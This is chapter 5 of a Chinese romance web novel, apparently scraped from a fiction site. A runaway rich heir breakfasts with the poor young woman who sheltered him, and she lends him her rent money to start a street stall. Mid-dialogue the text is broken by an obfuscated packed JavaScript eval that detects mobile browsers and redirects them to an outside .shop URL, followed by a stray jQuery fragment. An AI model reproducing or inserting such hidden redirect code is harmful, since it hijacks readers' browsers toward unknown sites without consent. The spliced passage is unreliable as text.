5. 第 5 章
    这话让程溪不禁发笑:“你还是想想怎么保自己明晚有地方住吧。”

    周衍东不作声。

    见他跟个没事儿人似的,程溪忍住说教欲,叹了口气,翻身睡去。

    一晚上谁也没睡好。

    床不够大,俩人睡着睡着就挨一块儿了,你挤我我挤你。老旧空调制冷效果大打折扣,两个身子肉贴肉被热醒,又困又难受,谁都顾不上尴尬,冲反方向翻身隔开,立马又睡了过去。

    彻夜醒醒睡睡,总不踏实,清晨周衍东便起来了。

    他放慢动作轻声下床,一个没注意踢到行李箱,程溪哼唧几声,转头又沉进梦里,没被动静吵醒。

    洗漱完从卫生间出来,周衍东发现床上的姑娘身子转了九十度,整个儿横躺,四仰八叉,睡姿豪放。

    他无声笑了笑,收起晾衣杆上还未干透的衣裤塞进行李箱,走到门口停住脚步,犹豫一会儿,将箱子放在鞋架旁,轻轻关门离开。

    这栋楼没电梯,程溪租的第七层,下楼时周衍东回想起昨晚她吭哧吭哧爬楼梯那样子,唇角忍不住上扬。

    那会儿他问怎么不租个带电梯的房子,她说那种贵,他问怎么租七楼,她说图便宜。

    离家出走大半个月,周衍东过上了以前从未体验过的穷日子,见识了各式各样的穷人。

    程溪是这些穷人里最可爱的一个。

    于理智上,周衍东轻蔑她的轻率和单纯;于良知上,他又对她的善良和真诚心怀感恩。

    他没法在此时此刻加倍回馈这姑娘对自己的这份善待,有些遗憾,有些感慨,掏出钱包看看余额,又有了很多很多无奈。

    楼下有人推小推车卖肠粉,纯素肠粉两块钱一份,加蛋或者加肉贵五毛,蛋肉都加贵一块。周衍东买了一份纯素的,一份肉蛋的,拎回去时,程溪正从卫生间出来。

    他把早餐放窗边那个破烂小桌板上,打开纯素那份吃起来。

    “哇,也给我买啦?”程溪看着桌上另一个饭盒,两眼放光。

    周衍东“嗯”一声,没抬头,吃得慢而专注。

    程溪迫不及待凑过来。

    “楼下老奶奶那儿买的吧,小推车那个?”她常吃那家,一来照顾老奶奶生意,二来价格确实便宜,味道也不错。

    唯一缺点是,一份根本吃不饱,还不扛饿,她总是三两口飞快吃完,没多久又饿了。

    “你买过?”周衍东问。

    程溪点点头:“经常买,跟奶奶都混熟了。”

    她打开饭盒,拆开一次性筷子,正准备吃,筷子忽然被拿走。

    周衍东一手握住一只筷子,两根筷子十字交叉摩擦着。

    “这玩意儿有小刺,磨一磨省得扎嘴。”他将磨过的筷子递回给程溪。

    程溪低头愣愣看着筷子:“这样啊,长见识了。”

    周衍东:“你以前都不磨?”

    程溪摇头。

    周衍东:“不怕扎嘴?”

    程溪摸摸脑袋笑起来:“皮糙肉厚的,没被扎过。”

    她盯着周衍东看。

    吃到最后一口时,周衍东忍不了了,抬眼瞧过去。

    “干嘛?”

    程溪嘿嘿笑:“其实你一点儿都不糙。”

    周衍东筷子停在嘴边:“还不糙啊?”

    程溪:“哪个糙老爷们儿用一次性筷子之前会磨一磨?哪个糙老爷们儿吃相这么优雅,这么好看?我第一次见人把广式肠粉吃得像法国大餐!就差给你配副刀叉了!”

    周衍东乐了:“什么优雅不优雅的,就是吃得慢而已。”

    程溪杏眼睁圆,认真看着他:“别人慢慢吃是磨叽,你慢慢吃就是优雅。”

    周衍东也看着她,忍住没笑,想了好一会儿,憋出四个字:“我谢谢您。”

    程溪:“不客气的。”

    周衍东没忍住,笑出声。

    “程溪,可得把我手机号留好了,最好背下来。”

    “干嘛呀?”

    “别看哥哥现在虎落平阳,以后必定东山再起。”

    “你意思是,等你以后飞黄腾达了,一定会报答我?”

    “没错。”

    “那万一,我是说万一啊,万一你没飞黄腾达呢?”

    “不可能。”

    程溪杏眼笑成月牙:“这么自信呀!我现在就背。”

    点开手机通讯录,她认认真真背起来。

    “139……”

    周衍东偏着头瞧她,淡笑:“这么信我?万一真被你说中了,没飞黄腾达呢?”

    程溪翻了翻白眼:“我那么说是逗你的,其实我很信你会出人头地。”

    周衍东扬眉:“真的?”

    程溪:“千真万确!”

    周衍东:“为什么?”

    程溪:“直觉!”

    周衍东噗嗤一笑:“还以为有什么令人信服的理论依据呢。”

    程溪歪起脑袋睨他。

    “这你就不懂了。有时候,直觉比理智更准确。理智要通过头脑分析,直觉直接靠灵魂去感受。”

    她看着周衍东沉默一会儿,眨了眨眼,又开口:“要不你去做生意吧。”

    “没本钱。你以为生意谁都能做?”周衍东笑她天真。

    程溪伸出食指左右摇晃:“又不是让你去做什么几千万的大买卖,在楼下推个车摆个摊儿什么的,总可以吧?”

    周衍东想都没想,摇头拒绝:“卖肠粉啊?抢老太太生意的事儿我可干不出来。”

    他知道程溪不是这个意思,故意装傻这么说。

    程溪放下筷子:“谁让你卖肠粉了?除了肠粉,还有很多东西能卖,鞋啊衣服啊小饰品啊,或者手抓饼、章鱼小丸子什么的,都不错。别瞧不起摆地摊儿,靠摆摊发家致富的人多了去了!”

    她说得慷慨激昂,周衍东内心毫无波澜。

    当了这么些年大少爷,学了这么久计算机专业,到头来还得摆地摊儿,搁谁谁能接受?反正他周衍东是接受不了。

    见他无动于衷,程溪劝得更加卖力。

    “信我,真的,你绝对是做生意的好苗子。不说别的,光外形这一块,你往摊儿边一站,就是活招牌,少不了女人来买!”

    周衍东乐得发笑:“绕来绕去,不还是赚女人钱么?那我不如直接去会所当男模。”

    程溪抬手往他脑袋上招呼一下,架势大力道轻,只碰着头发。

    “不是说没做过男模,这辈子都不可能做男模吗?少拿这种事儿开玩笑,毁自己清白。”

    周衍东半开玩笑半认真:“我看你不是怕毁我清白,你就是纯吃醋。”

    程溪性子直,不爱弯弯绕绕,承认得很直接:“对啊,所以为了不让我吃醋,以后别再说这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042415|148917||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    种话了。”

    本以为作为小姑娘,她会扭捏几下,谁知竟这么直白,周衍东倒有些不自在。

    “那什么,你觉着摆摊儿能发财,干嘛不自己摆?”他左右看了看,摸摸鼻子问道。

    “我没有生意头脑,不是那块料,踏踏实实找个班上最合适。你不一样。”程溪坦言。

    “都是两个鼻孔两只眼,咱俩怎么就不一样?”

    “你身上有种与众不同的气质,具体我也说不上来,反正……反正就觉得你不光跟我不一样,跟很大多数人也不一样。对了——”程溪一拍脑门儿,“贵气!你身上有种别人都没有的贵气!”

    周衍东淡笑,轻摇着头不作声,将空饭盒跟一次性筷子扔进垃圾桶,拖着行李箱走出去,停在门口回头看程溪。

    “谢了啊。”

    程溪愣愣望过来。

    他转身离开,走到楼梯口,刚要迈步,身后有人追过来。

    “周衍东!”程溪叫住他,“我借你一千当本钱。”

    “啊?”他有些懵。意思听懂了,没明白这人怎么回事儿。

    程溪:“广城有几个批发市场,现在去进货太晚了,明天一早——凌晨四五点吧,你过去看看情况,有合适的货就进些,反正我只能给你一千块,自己看着办。对了,留点钱买个摆摊货架。”

    周衍东沉默不语。

    她急了,跺跺脚:“愣着干嘛,行不行倒是给句准话!”

    握住行李箱拉杆的手松了松,周衍东吸一口气,盯了她片刻,眉心微皱:“不是,程溪,我没明白你怎么就这么信我。”

    程溪抿着唇,好一会儿才说话。

    “我也没明白自己怎么就这么信你。可有些事情,不需要搞那么明白。我知道,在你心里,我又蠢又好骗,我不知道该怎么自证,只能告诉你,有时候我的直觉很准,准到离谱。”

    她仰脸望他,笑意漫开眼底。

    “周衍东,我把宝押你身上了。这一千块是用来交房租的,你先拿去进货吧。”

    好一阵儿周衍东才回过神,眨了眨眼,笑着用轻松的语气说最沉重的话:“要是赔了呢?交不了房租,下个月你会不会被赶出去,跟现在的我一样,居无定所?”

    程溪从钱包里掏出薄薄一小沓红票子,拢共十张,塞进周衍东手里,神情无比严肃:“所以,你只能赚,不能赔。”

    周衍东还是不安心:“万事无绝对,要是赔了——”

    程溪:“要是赔了,你就以身相许,娶我吧,就当是还债。”

    她笑眯眯的。

    周衍东攥紧手里的钱,大惊,扔下箱子转身就跑:“哥哥这把只能背水一战,赚它个盆满钵满!”

    程溪乐得蹦跶,笑着冲楼下喊:“赚的钱六四分,我六你四!”

    附近有个公交站,周衍东一路跑过去。

    旭日东升,他迎着阳光飞奔,无形中像是甩掉了什么,越跑越快,越跑越轻盈。

    后来他回想,那些甩掉的,无非是迷茫和压力,还有压身多年的少爷包袱。

    人在走投无路时,决定放手一搏的瞬间,就是逆风翻盘的风口。

    他在奔跑中回头望了望,身后没有程溪,耳边却萦绕着一个声音——“周衍东啊,我把宝押你身上了。”

    “你还真押对了。”他笑着继续跑,在心里对她说,也对自己说。